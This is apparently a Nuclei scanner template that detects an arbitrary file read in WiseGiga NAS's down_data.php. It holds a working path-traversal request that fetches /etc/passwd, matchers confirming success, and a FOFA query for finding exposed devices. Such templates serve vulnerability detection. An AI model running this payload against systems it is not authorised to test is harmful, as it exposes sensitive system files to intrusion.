id: wisegiga-nas-lfi

info:
  name: WiseGiga NAS - Arbitrary File Read
  author: pussycat0x
  severity: high
  description: |
    WISEGIGA NAS down_data.php has an arbitrary file download vulnerability. Due to the lax filtering of the filename parameter on the /down_data.php page, sensitive system files can be read.
  reference:
    - https://github.com/Threekiii/Awesome-POC/blob/master/Web%E5%BA%94%E7%94%A8%E6%BC%8F%E6%B4%9E/WiseGiga%20NAS%20down_data.php%20%E4%BB%BB%E6%84%8F%E6%96%87%E4%BB%B6%E4%B8%8B%E8%BD%BD%E6%BC%8F%E6%B4%9E.md
  metadata:
    verified: true
    max-request: 1
    fofa-query: app="WISEGIGA-NAS"
  tags: wisegiga,lfi,nas

http:
  - method: GET
    path:
      - "{{BaseURL}}/down_data.php?filename=../../../../../../../../../../../../../../etc/passwd"

    matchers-condition: and
    matchers:
      - type: regex
        part: body
        regex:
          - "root:.*:0:0:"

      - type: word
        part: header
        words:
          - "file/unknown"

      - type: status
        status:
          - 200

# digest: 4a0a00473045022055f2bd39a51514092fdb0c73c22531b19e8c2fe2fa43749baff49f4c82a2a11b022100c86014508412564ff80c6822e983ae9924c54f625eababe94eae75e1d978ea34:922c64590222798bb761d5b6d8e72950